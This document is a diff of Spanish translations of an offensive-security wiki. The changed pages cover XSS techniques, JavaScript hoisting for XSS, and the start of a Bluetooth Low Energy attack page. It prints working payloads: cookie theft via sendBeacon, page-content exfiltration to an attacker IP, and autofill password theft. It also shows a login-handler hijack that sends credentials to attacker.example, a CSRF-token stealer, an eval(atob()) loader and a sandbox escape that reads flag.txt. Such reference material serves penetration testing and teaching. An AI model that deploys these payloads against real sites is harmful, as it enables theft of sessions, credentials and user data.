> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
Los únicos **Content-Type**s que permitirán a Chrome ejecutar un **loaded script** son los que están dentro de la const **`kSupportedJavascriptTypes`** en [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -901,16 +903,16 @@ const char* const kSupportedJavascriptTypes[] = {
|
||||
};
|
||||
|
||||
```
|
||||
### Tipos de script para XSS
|
||||
### Script Types to XSS
|
||||
|
||||
(Desde [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) ¿Entonces, qué tipos podrían indicarse para cargar un script?
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Entonces, ¿qué tipos podrían indicarse para cargar un script?
|
||||
```html
|
||||
<script type="???"></script>
|
||||
```
|
||||
La respuesta es:
|
||||
|
||||
- **module** (por defecto, nada que explicar)
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que permite empaquetar un conjunto de datos (HTML, CSS, JS…) en un archivo **`.wbn`**.
|
||||
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar varios datos (HTML, CSS, JS…) en un archivo **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
@ -920,7 +922,7 @@ La respuesta es:
|
||||
</script>
|
||||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||||
```
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** Permite mejorar la sintaxis de importación
|
||||
- [**importmap**](https://github.com/WICG/import-maps)**:** Permite mejorar la sintaxis de import
|
||||
```html
|
||||
<script type="importmap">
|
||||
{
|
||||
@ -937,9 +939,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Este comportamiento se utilizó en [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) para reasignar una biblioteca a eval y, al abusar de ello, puede desencadenar XSS.
|
||||
Este comportamiento se usó en [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) para remapear una biblioteca a eval y, al abusar de ella, puede desencadenar XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta característica está pensada principalmente para resolver algunos problemas causados por el pre-renderizado. Funciona así:
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta característica sirve principalmente para resolver algunos problemas causados por el pre-rendering. Funciona así:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -955,24 +957,24 @@ Este comportamiento se utilizó en [**this writeup**](https://github.com/zwade/y
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Types para XSS
|
||||
### Content-Types web para XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes Content-Types pueden ejecutar XSS en todos los navegadores:
|
||||
(Desde [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:
|
||||
|
||||
- text/html
|
||||
- application/xhtml+xml
|
||||
- application/xml
|
||||
- text/xml
|
||||
- image/svg+xml
|
||||
- text/plain (?? no está en la lista pero creo que lo vi en un CTF)
|
||||
- text/plain (?? not in the list but I think I saw this in a CTF)
|
||||
- application/rss+xml (off)
|
||||
- application/atom+xml (off)
|
||||
|
||||
En otros navegadores, otros **`Content-Types`** pueden usarse para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
En otros navegadores otros **`Content-Types`** se pueden usar para ejecutar JS arbitrario, revisa: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
### Tipo de contenido xml
|
||||
|
||||
Si la página devuelve un content-type text/xml es posible indicar un namespace y ejecutar JS arbitrario:
|
||||
Si la página devuelve un content-type text/xml, es posible indicar un namespace y ejecutar JS arbitrario:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
@ -980,11 +982,11 @@ Si la página devuelve un content-type text/xml es posible indicar un namespace
|
||||
|
||||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||||
```
|
||||
### Patrones especiales de reemplazo
|
||||
### Patrones de Reemplazo Especiales
|
||||
|
||||
Cuando se usa algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**. El atacante podría usar [**reemplazos especiales de cadenas**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar evadir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", <user_input>)`**. El atacante podría usar [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar bypassear algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
|
||||
|
||||
Por ejemplo, en [**este writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se usó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario.
|
||||
Por ejemplo, en [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se usó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
|
||||
@ -993,9 +995,9 @@ Por ejemplo, en [**este writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA
|
||||
chrome-cache-to-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### Escape de XS Jails
|
||||
### XS Jails Escape
|
||||
|
||||
Si solo tienes un conjunto limitado de caracteres para usar, consulta estas otras soluciones válidas para problemas de XSJail:
|
||||
Si solo tienes un conjunto limitado de chars para usar, revisa estas otras soluciones válidas para problemas de XSJail:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
@ -1026,7 +1028,7 @@ constructor(source)()
|
||||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Si **todo está undefined** antes de ejecutar código no confiable (como en [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) es posible generar objetos útiles "de la nada" para abusar de la ejecución de código arbitrario no confiable:
|
||||
Si **everything is undefined** antes de ejecutar código no confiable (como en [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario:
|
||||
|
||||
- Usando import()
|
||||
```javascript
|
||||
@ -1035,7 +1037,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accediendo a `require` indirectamente
|
||||
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) los módulos son envueltos por Node.js dentro de una función, así:
|
||||
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) Node.js envuelve los módulos dentro de una función, así:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1269,7 +1271,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## Payloads comunes de XSS
|
||||
## XSS common payloads
|
||||
|
||||
### Varios payloads en 1
|
||||
|
||||
@ -1278,9 +1280,9 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
|
||||
steal-info-js.md
|
||||
{{#endref}}
|
||||
|
||||
### Iframe Trap
|
||||
### Trampa de iframe
|
||||
|
||||
Forzar al usuario a navegar en la página sin salir del iframe y robar sus acciones (incluida la información enviada en formularios):
|
||||
Haz que el usuario navegue por la página sin salir del iframe y roba sus acciones (incluida la información enviada en formularios):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1310,9 +1312,9 @@ Forzar al usuario a navegar en la página sin salir del iframe y robar sus accio
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!TIP]
|
||||
> Tú **no podrás acceder a las cookies desde JavaScript** si la flag HTTPOnly está establecida en la cookie. Pero aquí tienes [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) si tienes suerte.
|
||||
|
||||
### Steal Page Content
|
||||
> **No podrás acceder a las cookies desde JavaScript** si la flag HTTPOnly está establecida en la cookie. Pero aquí tienes [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) si tienes suerte.
|
||||
|
||||
### Robar contenido de la página
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
var attacker = "http://10.10.14.8/exfil"
|
||||
@ -1325,7 +1327,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### Encontrar direcciones IP internas
|
||||
### Encontrar IPs internas
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1401,7 +1403,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Tiempos cortos indican un responding port_ _Tiempos más largos indican no response._
|
||||
_Tiempos cortos indican un port que responde_ _Tiempos más largos indican sin respuesta._
|
||||
|
||||
Revisa la lista de ports bloqueados en Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) y en Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
@ -1420,11 +1422,11 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Cuando se introduce cualquier dato en el campo de contraseña, el nombre de usuario y la contraseña se envían al attackers server; incluso si el cliente selecciona una contraseña guardada y no escribe nada, las credenciales serán ex-filtrated.
|
||||
Cuando se introduce cualquier dato en el campo password, el username y la password se envían al servidor del attacker; incluso si el cliente selecciona una saved password y no escribe nada, las credentials serán ex-filtrated.
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
|
||||
Si un handler crítico (por ejemplo, `function DoLogin(){...}`) se declara más tarde en la página, y tu payload se ejecuta antes (por ejemplo, vía un inline JS-in-JS sink), define un `const` con el mismo nombre primero para anticiparte y bloquear el handler. Declaraciones de función posteriores no pueden volver a enlazar un nombre `const`, dejando tu hook en control:
|
||||
Si un handler crítico (p. ej., `function DoLogin(){...}`) se declara más adelante en la página, y tu payload se ejecuta antes (p. ej., vía un inline JS-in-JS sink), define un `const` con el mismo nombre primero para anticipar y bloquear el handler. Las declaraciones de función posteriores no pueden volver a enlazar un nombre `const`, dejando tu hook en control:
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1433,20 +1435,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
};
|
||||
```
|
||||
Notas
|
||||
- Esto depende del orden de ejecución: tu inyección debe ejecutarse antes de la declaración legítima.
|
||||
- Si tu payload está envuelto en `eval(...)`, los bindings `const/let` no se convertirán en globales. Usa la técnica de inyección dinámica `<script>` de la sección “Deliverable payloads with eval(atob()) and scope nuances” para asegurar un verdadero global binding no reasignable.
|
||||
- Cuando los filtros por palabras clave bloquean código, combina con identificadores escapados en Unicode o la entrega `eval(atob('...'))`, como se mostró arriba.
|
||||
- Esto depende del orden de ejecución: tu injection debe ejecutarse antes de la declaración legítima.
|
||||
- Si tu payload está envuelto en `eval(...)`, las vinculaciones `const/let` no se convertirán en globals. Usa la técnica dinámica de inyección `<script>` de la sección “Deliverable payloads with eval(atob()) and scope nuances” para asegurar un binding global verdadero y no rebindable.
|
||||
- Cuando filtros de palabras clave bloquean el código, combínalos con identificadores Unicode-escaped o entrega mediante `eval(atob('...'))`, como se mostró arriba.
|
||||
|
||||
### Keylogger
|
||||
|
||||
Buscando en github encontré varios:
|
||||
Al buscar en github encontré algunos diferentes:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
- You can also use metasploit `http_javascript_keylogger`
|
||||
- También puedes usar metasploit `http_javascript_keylogger`
|
||||
|
||||
### Robar CSRF tokens
|
||||
### Stealing CSRF tokens
|
||||
```javascript
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
@ -1490,7 +1492,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Payloads de Blind XSS
|
||||
### Blind XSS payloads
|
||||
|
||||
También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1559,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
```
|
||||
### Regex - Acceder a contenido oculto
|
||||
|
||||
Según [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen del JS, aún es posible encontrarlos en atributos de JS en distintos objetos. Por ejemplo, un input de un REGEX aún puede encontrarse después de que el valor del input del regex fue eliminado:
|
||||
A partir de [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) se puede aprender que incluso si algunos valores desaparecen de JS, todavía es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX aún puede encontrarse después de que el valor de la entrada del regex fue eliminado:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1576,18 +1578,18 @@ console.log(
|
||||
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
)
|
||||
```
|
||||
### Lista de Brute-Force
|
||||
### Brute-Force Lista
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS abusando de otras vulnerabilidades
|
||||
## XSS Abuso de otras vulnerabilidades
|
||||
|
||||
### XSS en Markdown
|
||||
|
||||
¿Se puede inyectar código Markdown que será renderizado? ¡Quizá puedas conseguir XSS! Revisa:
|
||||
¿Se puede inyectar código Markdown que se renderice? ¡Quizás puedas conseguir XSS! Comprueba:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1596,17 +1598,17 @@ xss-in-markdown.md
|
||||
|
||||
### XSS a SSRF
|
||||
|
||||
¿Tienes XSS en un **sitio que usa caching**? Prueba a **elevar eso a SSRF** mediante Edge Side Include Injection con este payload:
|
||||
¿Tienes XSS en un **sitio que usa caching**? Prueba **elevarlo a SSRF** mediante Edge Side Include Injection con este payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Úsalo para eludir restricciones de cookies, filtros XSS y mucho más!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Úsalo para eludir las restricciones de cookie, los filtros XSS y mucho más!\
|
||||
Más información sobre esta técnica aquí: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS en PDF creado dinámicamente
|
||||
|
||||
Si una página web está creando un PDF usando input controlado por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
|
||||
Entonces, si el **PDF creator bot encuentra** algún tipo de **HTML** **tags**, los va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **Server XSS**.
|
||||
Si una página web está creando un PDF usando entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
|
||||
Así que, si el **PDF creator bot** encuentra algún tipo de **etiquetas HTML**, las va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **Server XSS**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1622,13 +1624,13 @@ pdf-injection.md
|
||||
|
||||
### XSS en Amp4Email
|
||||
|
||||
AMP, orientado a acelerar el rendimiento de páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para asegurar la funcionalidad con énfasis en velocidad y seguridad. Soporta una variedad de componentes para distintas funciones, accesibles vía [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, orientado a acelerar el rendimiento de las páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para garantizar la funcionalidad con énfasis en la velocidad y la seguridad. Soporta una gama de componentes para varias funciones, accesibles vía [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extiende componentes AMP específicos a los emails, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos.
|
||||
|
||||
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
Ejemplo [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS al subir archivos (svg)
|
||||
### XSS subiendo archivos (svg)
|
||||
|
||||
Sube como imagen un archivo como el siguiente (desde [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
@ -1686,9 +1688,9 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Encuentra **más SVG payloads en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Encuentra **más payloads SVG en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Trucos misceláneos de JS e información relevante
|
||||
## Trucos variados de JS e información relevante
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -4,29 +4,29 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
En el lenguaje JavaScript existe un mecanismo conocido como **Hoisting** donde las declaraciones de variables, funciones, clases o imports se conceptualizan como elevadas al inicio de su scope antes de que el código se ejecute. Este proceso lo realiza automáticamente el motor de JavaScript, que recorre el script en múltiples pasadas.
|
||||
En el lenguaje JavaScript existe un mecanismo conocido como **Hoisting** en el que las declaraciones de variables, funciones, clases o imports se elevan conceptualmente al inicio de su scope antes de que se ejecute el código. Este proceso lo realiza automáticamente el motor de JavaScript, que recorre el script en múltiples pasadas.
|
||||
|
||||
Durante la primera pasada, el engine parsea el código para verificar errores de sintaxis y lo transforma en un árbol de sintaxis abstracta. Esta fase incluye hoisting, un proceso en el que ciertas declaraciones se mueven al inicio del contexto de ejecución. Si la fase de parseo tiene éxito, indicando que no hay errores de sintaxis, se procede a la ejecución del script.
|
||||
Durante la primera pasada, el engine parsea el código para comprobar errores de sintaxis y lo transforma en un árbol de sintaxis abstracta. Esta fase incluye el hoisting, un proceso en el que ciertas declaraciones se mueven al inicio del contexto de ejecución. Si la fase de parseo es exitosa, indicando que no hay errores de sintaxis, la ejecución del script continúa.
|
||||
|
||||
Es crucial entender que:
|
||||
|
||||
1. El script debe estar libre de errores de sintaxis para que la ejecución ocurra. Se deben respetar estrictamente las reglas de sintaxis.
|
||||
2. La ubicación del código dentro del script afecta la ejecución debido al hoisting, aunque el código ejecutado pueda diferir de su representación textual.
|
||||
1. El script debe estar libre de errores de sintaxis para que la ejecución ocurra. Las reglas de sintaxis deben cumplirse estrictamente.
|
||||
2. La colocación del código dentro del script afecta la ejecución debido al hoisting, aunque el código ejecutado pueda diferir de su representación textual.
|
||||
|
||||
#### Types of Hoisting
|
||||
|
||||
Según la información de MDN, hay cuatro tipos distintos de hoisting en JavaScript:
|
||||
|
||||
1. **Value Hoisting**: Permite el uso del valor de una variable dentro de su scope antes de su línea de declaración.
|
||||
2. **Declaration Hoisting**: Permite referenciar una variable dentro de su scope antes de su declaración sin causar un `ReferenceError`, pero el valor de la variable será `undefined`.
|
||||
3. Este tipo altera el comportamiento dentro de su scope debido a que la declaración de la variable ocurre antes de su línea de declaración real.
|
||||
2. **Declaration Hoisting**: Permite referenciar una variable dentro de su scope antes de su declaración sin provocar un `ReferenceError`, pero el valor de la variable será `undefined`.
|
||||
3. Este tipo altera el comportamiento dentro de su scope debido a que la declaración de la variable ocurre antes de su línea real de declaración.
|
||||
4. Los efectos secundarios de la declaración ocurren antes de que se evalúe el resto del código que la contiene.
|
||||
|
||||
En detalle, las declaraciones de función exhiben el comportamiento de hoisting de tipo 1. La palabra clave `var` demuestra el comportamiento de tipo 2. Las declaraciones léxicas, que incluyen `let`, `const` y `class`, muestran el comportamiento de tipo 3. Por último, las sentencias `import` son únicas en que se hoistean con los comportamientos de tipo 1 y tipo 4.
|
||||
En detalle, las declaraciones de función exhiben el comportamiento de hoisting tipo 1. La palabra clave `var` demuestra el comportamiento tipo 2. Las declaraciones léxicas, que incluyen `let`, `const` y `class`, muestran el comportamiento tipo 3. Por último, las sentencias `import` son únicas en que son hoisted con comportamientos tanto de tipo 1 como de tipo 4.
|
||||
|
||||
## Scenarios
|
||||
|
||||
Por lo tanto, si tienes escenarios donde puedes **Inject JS code after an undeclared object** es usado, podrías **fix the syntax** declarándolo (para que tu código se ejecute en lugar de lanzar un error):
|
||||
Por lo tanto, si tienes escenarios donde puedes **injectar código JS después de que se use un objeto no declarado**, podrías **arreglar la sintaxis** declarándolo (para que tu código se ejecute en lugar de lanzar un error):
|
||||
```javascript
|
||||
// The function vulnerableFunction is not defined
|
||||
vulnerableFunction('test', '<INJECTION>');
|
||||
@ -131,7 +131,7 @@ trigger()
|
||||
```
|
||||
### Anticipa declaraciones posteriores bloqueando un nombre con const
|
||||
|
||||
Si puedes ejecutar código antes de que se analice una declaración `function foo(){...}` a nivel superior, declarar una vinculación léxica con el mismo nombre (p. ej., `const foo = ...`) impedirá que la posterior declaración de función reasigne ese identificador. Esto puede aprovecharse en RXSS para secuestrar manejadores críticos definidos más adelante en la página:
|
||||
Si puedes ejecutar antes de que se analice una `function foo(){...}` de nivel superior, declarar un enlace léxico con el mismo nombre (p. ej., `const foo = ...`) impedirá que la declaración de función posterior vuelva a enlazar ese identificador. Esto puede ser abusado en RXSS para secuestrar handlers críticos definidos más adelante en la página:
|
||||
```javascript
|
||||
// Malicious code runs first (e.g., earlier inline <script>)
|
||||
const DoLogin = () => {
|
||||
@ -144,7 +144,7 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
function DoLogin(){ /* ... */ } // cannot override the existing const binding
|
||||
```
|
||||
Notas
|
||||
- Esto se basa en el orden de ejecución y el ámbito global (nivel superior).
|
||||
- Esto depende del orden de ejecución y del ámbito global (de nivel superior).
|
||||
- Si tu payload se ejecuta dentro de `eval()`, recuerda que `const/let` dentro de `eval` tienen alcance de bloque y no crearán enlaces globales. Inyecta un nuevo elemento `<script>` con el código para establecer un verdadero `const` global.
|
||||
|
||||
## Referencias
|
||||
|
@ -4,19 +4,19 @@
|
||||
|
||||
## Introducción
|
||||
|
||||
Disponible desde la especificación Bluetooth 4.0, BLE utiliza solo 40 canales, que abarcan el rango de 2400 a 2483.5 MHz. En contraste, el Bluetooth tradicional usa 79 canales en ese mismo rango.
|
||||
Disponible desde la especificación Bluetooth 4.0, BLE usa solo 40 canales, cubriendo el rango de 2400 a 2483.5 MHz. En contraste, el Bluetooth tradicional usa 79 canales en ese mismo rango.
|
||||
|
||||
Los dispositivos BLE se comunican enviando **advertising packets** (**beacons**); estos paquetes anuncian la existencia del dispositivo BLE a otros dispositivos cercanos. Estos beacons a veces también **envían datos**.
|
||||
|
||||
El dispositivo receptor, también llamado dispositivo central, puede responder a un advertising packet con una **SCAN request** enviada específicamente al dispositivo que anuncia. La **response** a ese scan usa la misma estructura que el **advertising** packet con información adicional que no pudo caber en la solicitud de advertising inicial, como el nombre completo del dispositivo.
|
||||
El dispositivo receptor, también llamado dispositivo central, puede responder a un **advertising packet** con una **SCAN request** enviada específicamente al dispositivo que anuncia. La **response** a ese scan usa la misma estructura que el **advertising** packet con información adicional que no cabía en la petición de advertising inicial, como el nombre completo del dispositivo.
|
||||
|
||||
.png>)
|
||||
|
||||
El byte de preámbulo sincroniza la frecuencia, mientras que la dirección de acceso de cuatro bytes es un **identificador de conexión**, que se usa en escenarios donde múltiples dispositivos intentan establecer conexiones en los mismos canales. A continuación, la Protocol Data Unit (**PDU**) contiene los **advertising data**. Existen varios tipos de PDU; los más utilizados son ADV_NONCONN_IND y ADV_IND. Los dispositivos usan el tipo de PDU **ADV_NONCONN_IND** si **no aceptan conexiones**, transmitiendo datos solo en el advertising packet. Los dispositivos usan **ADV_IND** si **permiten conexiones** y **dejan de enviar advertising** packets una vez que se ha **establecido** una **connection**.
|
||||
El byte de preámbulo sincroniza la frecuencia, mientras que las cuatro bytes del access address son un **connection identifier**, usado en escenarios donde múltiples dispositivos intentan establecer conexiones en los mismos canales. A continuación, la Protocol Data Unit (**PDU**) contiene los **advertising data**. Hay varios tipos de PDU; los más usados son ADV_NONCONN_IND y ADV_IND. Los dispositivos usan el tipo de PDU **ADV_NONCONN_IND** si **no aceptan conexiones**, transmitiendo datos solo en el paquete de advertising. Los dispositivos usan **ADV_IND** si **permiten conexiones** y **dejan de enviar paquetes de advertising** una vez que se ha **establecido** una **connection**.
|
||||
|
||||
### GATT
|
||||
|
||||
El **Generic Attribute Profile** (GATT) define cómo el **dispositivo debe formatear y transferir datos**. Cuando analizas la superficie de ataque de un dispositivo BLE, a menudo centrarás tu atención en el GATT (o GATTs), porque es la forma en que se **activa la funcionalidad del dispositivo** y cómo los datos se almacenan, agrupan y modifican. El GATT lista las características, descriptors y services de un dispositivo en una tabla como valores de 16 o 32 bits. Una **characteristic** es un valor de **data** **enviado** entre el dispositivo central y el periférico. Estas características pueden tener **descriptors** que **proporcionan información adicional sobre ellas**. Las **characteristics** suelen estar **agrupadas** en **services** si están relacionadas con realizar una acción particular.
|
||||
El Perfil Genérico de Atributos (GATT) define cómo el **dispositivo debe formatear y transferir datos**. Cuando analizas la superficie de ataque de un dispositivo BLE, a menudo concentras tu atención en el GATT (o GATTs), porque es cómo se **activa la funcionalidad del dispositivo** y cómo se almacenan, agrupan y modifican los datos. El GATT lista las características, descriptors y services de un dispositivo en una tabla como valores de 16 o 32 bits. Una **characteristic** es un valor de **data** **enviado** entre el dispositivo central y el periférico. Estas characteristics pueden tener **descriptors** que **proporcionan información adicional sobre ellas**. Las **characteristics** a menudo se **agrupan** en **services** si están relacionadas con la ejecución de una acción particular.
|
||||
|
||||
## Enumeración
|
||||
```bash
|
||||
@ -31,7 +31,7 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
|
||||
### GATTool
|
||||
|
||||
**GATTool** permite **establecer** una **conexión** con otro dispositivo, listar las **características** de ese dispositivo y leer y escribir sus atributos.\
|
||||
GATTTool puede lanzar una shell interactiva con la opción `-I`:
|
||||
GATTTool puede iniciar un shell interactivo con la opción `-I`:
|
||||
```bash
|
||||
gatttool -i hci0 -I
|
||||
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
|
||||
@ -66,13 +66,13 @@ sudo bettercap --eval "ble.recon on"
|
||||
```
|
||||
## Sniffing y control activo de dispositivos BLE no emparejados
|
||||
|
||||
